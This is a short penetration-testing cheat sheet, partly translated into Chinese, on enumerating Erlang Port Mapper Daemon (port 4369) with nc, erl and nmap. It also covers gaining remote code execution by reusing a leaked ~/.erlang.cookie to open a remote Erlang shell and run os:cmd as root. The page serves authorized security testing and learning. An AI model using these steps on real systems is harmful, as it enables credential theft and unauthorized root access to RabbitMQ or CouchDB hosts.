💡 学习提示: 本文档介绍 4369 - Erlang Port Mapper 的渗透测试方法,适合信息安全初学者和从业人员参考。
⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。
⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。
4369 渗透测试 Erlang 端口 Mapper Daemon (epmd)
Basic Info
The Erlang 端口 Mapper Daemon (epmd) serves as a coordinator for distributed Erlang instances. It is responsible for mapping symbolic node names to machine addresses, essentially ensuring that each node name is associated with a specific address. This role of epmd is crucial for the seamless interaction and communication between different Erlang nodes across a network.
默认 port: 4369
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
This is used by default on RabbitMQ and CouchDB installations.
信息收集
Manual
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.htmldpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal1> net_adm:names('<HOST>'). #This will return the listen addresses
Automatic
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369| nodes:
| bigcouch: 11502| freeswitch: 8031| ecallmgr: 11501| kazoo_apps: 11500|_ kazoo-rabbitmq: 25672
Erlang Cookie 远程代码执行
Remote Connection
If you can leak the 认证 cookie you will be able to execute code on the host. Usually, this cookie is located in ~/.erlang.cookie and is generated by erlang at the first start. If not modified or set manually it is a random string [A:Z] with a length of 20 characters.
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19[erts-8.1][source][64-bit][async-threads:10]Eshell V8.1 (abort with ^G)At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"